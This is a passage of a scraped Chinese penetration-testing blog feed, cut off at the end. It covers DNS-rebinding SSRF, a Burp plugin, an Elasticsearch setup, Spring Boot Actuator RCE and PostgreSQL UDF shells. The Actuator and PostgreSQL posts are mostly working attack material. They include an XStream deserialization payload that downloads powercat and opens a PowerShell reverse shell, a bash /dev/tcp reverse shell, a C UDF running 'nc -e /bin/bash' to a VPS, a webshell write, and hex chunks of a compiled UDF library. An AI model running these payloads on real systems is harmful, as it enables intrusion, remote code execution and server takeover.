__init__(self,url_map,*args): super(Regex_url,self).__init__(url_map) self.regex = args[0]app = Flask(__name__)app.url_map.converters['re'] = [email protected]('/<re(\".*?\"):tmp>')def test(tmp): image = 'Test' #image = file(\"demo.jpg\") resp = Response(image, mimetype=\"image/jpeg\") return respif __name__ == '__main__': app.run(host='0.0.0.0',port=80) 3.不断重放数据包,尝试绕过验证最终将192.168.123.130:8081的内容写入图片这样就可以得到一个可回显SSRF:4.问题出现,DNS rebinding收到缓存和网络影响复现不稳定,重放1000个数据包无效果: 0X02 尝试解决首先是因为DNS缓存导致的问题,我们无法控制客户端但是可以控制前一个请求的返回时间来延迟客户端处理下一个请求的时间,服务端请求加入time.sleep(45): 1.本地测试DNS缓存释放再请求时间大概为40-50秒 2.检查源码中发现使用get_header函数去获取返回信息,此函数未设置超时所以设置延时不会产生异常,实际测试大概60S是极限,如果Burp请求中存在502可以适当降低sleep时间。在web服务器中加入延迟:这里需要改一下原有脚本当flag<2返回SSRF内网目标IP,请求超过2次则返回外网IP,否则服务器一开始就请求外网IP会卡死:可以发现这里请求了20个包就得到了SSRF内容:从服务器图片中获取内网SSRF内容:","tags":[],"categories":[{"name":"渗透测试","slug":"渗透测试","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"}]},{"title":"Burp suite插件获取js/html中隐藏的uri和接口","date":"2019-09-27T15:18:24.000Z","path":"/渗透工具/Burp suite插件获取js_html中隐藏的uri和接口/","text":"https://github.com/j1anFen/burp_jspath burp_jspath获取js文件和html中script标签内容中的接口,用于渗透中发现隐藏API,未授权访问等漏洞。 插件使用了linkfinder探测js中路径的正则语句。 environment jython 2.7 BurpSuite Proxy Features get js file path get html script tags path filter assets content UsageImport this extension of Burp Suite. Save to log file when there is more content. Referenceregexp code https://github.com/GerbenJavado/LinkFinder/blob/master/linkfinder.py#L29","tags":[],"categories":[{"name":"渗透工具","slug":"渗透工具","permalink":"http://yoursite.com/categories/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7/"}]},{"title":"elasticsearch+kibana搭建配置初体验","date":"2019-08-01T03:17:48.000Z","path":"/环境搭建/elasticsearch+kibana搭建配置初体验/","text":"最近分析一些日志,搭建elasticsearch+kibana玩一玩。 0x00 环境准备1234ubuntu 18.04(不用docker推荐使用centos装)docker --versionDocker version 18.09.7, build 2d0083d 0x00 环境搭建1. Docker123apt install docker.iosudo systemctl start dockersudo systemctl enable docker docker代理1sudo mkdir -p /etc/systemd/system/docker.service.d 在服务目录下新建代理配置文件并添加内容NO_PROXY是不需要代理的地址,比如本地及本地私有仓库等 123vi /etc/systemd/system/docker.service.d/http-proxy.conf[Service] Environment=\"HTTP_PROXY=http://ip:port/\" 2. portainerdocker可视化工具portainerhttps://www.portainer.io/installation/ 12$ docker volume create portainer_data$ docker run -d -p 8000:8000 -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer 3. elasticsearch1docker pull elasticsearch:7.2.0 注:7.2没有type概念,以索引为主,开发者认为不应该把elasticsearch当作单纯数据库看待 访问可视化工具->volumns模块创建本地卷永久存放elasticsearch日志,数据,配置目录: 3.1 设置卷映射/usr/share/elasticsearch/data -> es_data/usr/share/elasticsearch/config -> es_config 3.2 设置端口映射 3.3 设置单机模式(参考hub)https://hub.docker.com/_/elasticsearch 1discovery.type=single-node 3.4 修改elasticsearch配置文件修改完后启动 12345678910111213141516/var/lib/docker/volumes/es_config/_data# cat elasticsearch.ymlcluster.name: \"docker-cluster\"# 设置局域网可外连network.host: 0.0.0.0# 设置写入缓存清理和限制indices.fielddata.cache.size: 75%indices.breaker.fielddata.limit: 85%# 设置外连否则es会拒绝跨域和一些不允许方法http.cors.enabled: truehttp.cors.allow-origin: \"*\"http.cors.allow-methods: OPTIONS, HEAD, GET, POST, PUT, DELETEhttp.cors.allow-headers: X-Requested-With, Content-Type, Content-Length, X-User 3.5 测试访问 3.6 安装中文ik分词插件1234cd /usr/share/elasticsearch/pluginsmkdir ikcurl -O https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v7.2.0/elasticsearch-analysis-ik-7.2.0.zipdocker restart [docker-id] 4. kibana搭建1234docker pull kibana:7.2.0port map :5601/usr/share/kibana/config -> kibana_config(本地卷) 4.1 修改配置1234567891011121314/var/lib/docker/volumes/kibana_config/_data# cat kibana.yml## ** THIS IS AN AUTO-GENERATED FILE **## Default Kibana configuration for docker targetserver.name: kibanaserver.host: \"0\"# 配置hostelasticsearch.hosts: [ \"http://192.168.123.135:9200\" ]xpack.monitoring.ui.container.elasticsearch.enabled: true# 设置日志存放logging.dest: /usr/share/kibana/config/kibana-log.txt 4.2 测试启动 0X04 es常用语句以下语句均为7.2环境 1.1 新增索引12345678PUT test1{ \"mappings\" : { \"properties\" : { \"field1\" : { \"type\" : \"text\" } } }} 1.2 新增分词索引12345678910111213141516171819202122232425262728293031323334353637PUT data1{ \"settings\":{ \"analysis\":{ \"analyzer\":{ \"email_analyzer\":{ \"tokenizer\":\"standard\", \"filter\":[ \"lowercase\" ] } } } }, \"mappings\" : { \"properties\" : { \"username\" : { \"type\": \"text\", \"analyzer\": \"ik_max_word\", \"search_analyzer\": \"ik_smart\" }, \"email\":{ \"type\": \"text\", \"analyzer\": \"email_analyzer\", \"search_analyzer\": \"email_analyzer\" }, \"sex\":{ \"type\": \"keyword\" }, \"address\" : { \"type\": \"text\", \"analyzer\": \"ik_max_word\", \"search_analyzer\": \"ik_smart\" }, } }} 1.3 查看索引1http://10.10.10.10:9200/_cat/indices 1.4 查看数据查看test1索引下序号为1的数据 1GET test1/_doc/1 1.5 搜索数据1http://10.10.10.10:9200/hello/_search?pretty&size=50&from=50 1.6 范围删除删除data1索引下_seq_no序号大于等于50的数据 12345678910POST data1/_delete_by_query{ \"query\": { \"range\" : { \"_seq_no\" : { \"gte\" : 50 } } }} 1.7 group by查询检索处所有source字段 12345678910GET data1/_search{ \"aggs\":{ \"models\":{ \"terms\":{ \"field\":\"source\" } } }} 0X05 es常用语句Bulk 批量插入 Mysql To Elasticsearch 1https://blog.csdn.net/weixin_39198406/article/details/82983256 0X06 异常报错1ELASTICSEARCH CIRCUITBREAKINGEXCEPTION FIELDDATA DATA TOO LARGE 尝试添加文章中配置文件限制cache的配置其次top看一下内存占用,应该是不够用了。","tags":[],"categories":[{"name":"环境搭建","slug":"环境搭建","permalink":"http://yoursite.com/categories/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"}]},{"title":"Spring Boot Actuators配置不当导致RCE漏洞复现","date":"2019-03-12T12:16:20.000Z","path":"/漏洞复现/Spring Boot Actuators配置不当导致RCE漏洞复现/","text":"漏洞分析源地址:https://www.veracode.com/blog/research/exploiting-spring-boot-actuators 关于springboot监控可以参考以下文章:https://www.freebuf.com/news/193509.html 测试环境,原作者提供的github:https://github.com/artsploit/actuator-testbed 复现过程: 1.Remote Code Execution via ‘/jolokia’前置条件:在jolokia/list目录检索存在logback组件,则可以使用jolokia远程包含logback.xml配置文件,直接执行远程引用字节码:http://127.0.0.1:9090/jolokia/list 1)在VPS上创建logback.xml,logback中填写jndi服务,当调用时直接触发恶意class。 123<configuration> <insertFromJNDI env-entry-name=\"ldap://vps_ip:1389/jndi\" as=\"appName\" /></configuration> 2)创建反弹shell的恶意class,并监听端口8081javac Exploit.java -> Exploit.class3)利用marshalsec创建jndi server地址指向恶意class监听的端口8081:4)监听反弹shell端口: 4)访问springboot以下链接触发远程访问VPS地址logback.xml:http://127.0.0.1:9090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/VPS地址:8080!/logback.xml触发回显2333端口接收到主机whomai结果: 2. Config modification via ‘/env’当第一种找不到logback配置可以尝试修改env配置文件进行xstream反序列化前置条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix)比如测试前台json报错泄露包名就是使用netflix:需要以下2个包 12spring-boot-starter-actuator(/refresh刷新配置需要)spring-cloud-starter-netflix-eureka-client(功能依赖) 1)在VPS创建xstream文件,使用flask返回application/xml格式数据: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162# -*- coding: utf-8 -*-# @Time : 2019/3/12 10:06# @Author : j1anFen# @Site :# @File : run.py# linux反弹shell bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1# windows反弹shell# <string>powershell</string># <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string># <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods = ['GET', 'POST'])def catch_all(path): xml = \"\"\"<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command> <string>powershell</string> <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string> <string>powercat -c [vps地址] -p 2333 -e cmd</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>\"\"\" return Response(xml, mimetype='application/xml')if __name__ == \"__main__\": app.run(host='172.31.245.127', port=2333) 2)启动服务: 1python3 flask_xstream.py 3)写入配置: 123456POST /env HTTP/1.1Host: 127.0.0.1:9090Content-Type: application/x-www-form-urlencodedContent-Length: 68eureka.client.serviceUrl.defaultZone=http://vps:2333/xstream 刷新触发[POST]:一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用。获取反弹shell: 安全措施可参考:https://xz.aliyun.com/t/2233","tags":[],"categories":[{"name":"漏洞复现","slug":"漏洞复现","permalink":"http://yoursite.com/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"}]},{"title":"渗透中利用postgresql getshell","date":"2018-01-06T14:14:23.000Z","path":"/渗透测试/渗透中利用postgresql getshell/","text":"学习postgresql数据库如何getshell是在渗透中遇到一个pgAdmin的web管理页面可以直接操作postgresql且通过网上的文章没有达到9.6版本getshell的效果所以便有了以下文章。解决新版本写入函数so文件创建函数失败问题. 0x01 postgresql测试环境搭建安装过程: devel库一定要安装后面用来编译后面需要扩展库postgres.h 1yum install postgresql96-server postgresql96-contrib postgresql-devel postgresql-libs postgresql默认不支持用root启动所以需要建立用户: 12useradd postgrespasswd postgres 然后需要建立一个data目录并给postgres用户为所有者权限 12mkdir /usr/pgsql-9.6/datachown -R postgres /usr/pgsql-9.6/data 然后在 1/usr/pgsql-9.6/bin/initdb 初始数据库(必须做) 启动数据库 1/usr/pgsql-9.6/bin/pg_ctl -D /usr/pgsql-9.6/data -l logfile start 关闭数据库 1/usr/pgsql-9.6/bin/pg_ctl stop 进入数据库命令行界面 1psql -d template1 创建数据库 1CREATE DATABASE postgre; 查看密码 密码=MD5(user+password) 1SELECT usename, passwd FROM pg_shadow; 0x02 读写文件因为和mysql一样利用UDF进行提权所以需要上传文件 1.读文件1.1 创建数据表把读到的文件copy入表:1234drop table wooyun;CREATE TABLE wooyun(t TEXT);COPY wooyun FROM '/etc/passwd';SELECT * FROM wooyun limit 1 offset 0; 1.2 利用postgresql大对象处理来读文件:12Select lo_import('/etc/passwd',12345678);select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a 2.写文件2.1 普通文件写入(webshell):1COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; 2.2 二进制文件写入(利用大数据对象):这里需要分片进行上传就是将文件分成小于等于2KB大小的hex再进行上传,但是在9.6版本中(我测试的版本)必须切割等于2KB的数据上传才会成功,具体到命令执行处详细说明. 1ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378 首先创建一个OID作为写入的对象,然后通过0,1,2,3…分片上传但是对象都为12345最后导出到/tmp目录下,收尾删除OID 1234567SELECT lo_create(12345);INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));SELECT lo_export(12345, '/tmp/test.so');SELECT lo_unlink(12345); 0x03 命令执行1.1 低版本的命令执行可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6 一般8.2以下的版本可以 12CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT; 直接可以执行 1select system('id'); 1.2 高版本的命令执行当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行 12ERROR: incompatible library \"xxx.so\": missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. 第一步可以先查看postgresql支持的扩展语言: 1select * from pg_language; 如果支持python perl就很简单和低版本一样直接创建调用详情可参考以下文章:http://static.hx99.net/static/drops/tips-6449.html 当不存在其他扩展语言时,postgresql默认支持C,所以要自己传一个编译好的so库去创建可执行命令函数.这里可以使用简短的反弹shell后门 编译反弹shell后门 123456789101112#include \"postgres.h\"#include \"fmgr.h\"#include <stdlib.h>#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endiftext *exec(){ system(\"nc -e /bin/bash vpsIPaddress 2333\");} 编译环境见文章头部这个需要在/usr/pgsql-9.6/include/server/目录下执行应为存在postgres.h头部调用的库 12gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.sostrip -sx udf.so #缩减so文件大小 将文件hex后去除\\n 1cat udf.so | xxd -ps | tr -d \"\\n\" 接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败. 用python脚本去分割udf.so文件,2个16进制数是一个字节所以按照4096个16进制数分割: 1234567891011121314151617181920212223#~/usr/bin/env python 2.7#-*- coding:utf-8 -*-import sysfrom random import randintnumber = randint(1000, 9999)if __name__ == \"__main__\": if len(sys.argv) != 2: print \"Usage:python \" + sys.argv[0] + \"inputfile\" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 t = -1 s = '' for b in fileobj.read(): i = i + 1 s += b if i % 4096 == 0: t = t + 1 print 'insert into pg_largeobject values ({number}, {block}, decode(\\'{payload}\\',\\'hex\\'));\\n'\\ .format(number=number, block=t, payload=s) s = '' fileobj.close() 分割完成后按照下文中的sql语句执行:1.写入对象2.创建文件3.建立函数4.执行命令5.清理函数 如果不能反弹shell也可以使用sqlmap提供的UDF命令执行的函数:https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c 这里我直接给出hex分片过sql语句直接写入即可创建成功(9.6版本测试有效,如果目标是更加新的版本需要对应安装postgresql-dev扩展包编译代码) 123456789101112131415161718SELECT lo_create(9023);insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));insert into pg_largeobject values (9023, 4, 